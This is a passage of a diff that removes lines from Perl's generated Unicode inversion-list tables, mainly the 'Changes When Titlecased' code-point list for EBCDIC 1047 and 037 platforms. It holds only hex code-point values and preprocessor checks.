0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWT_invlist[] = { /* for EBCDIC 037 */ - 1231, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C8, - 0x1C9, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, 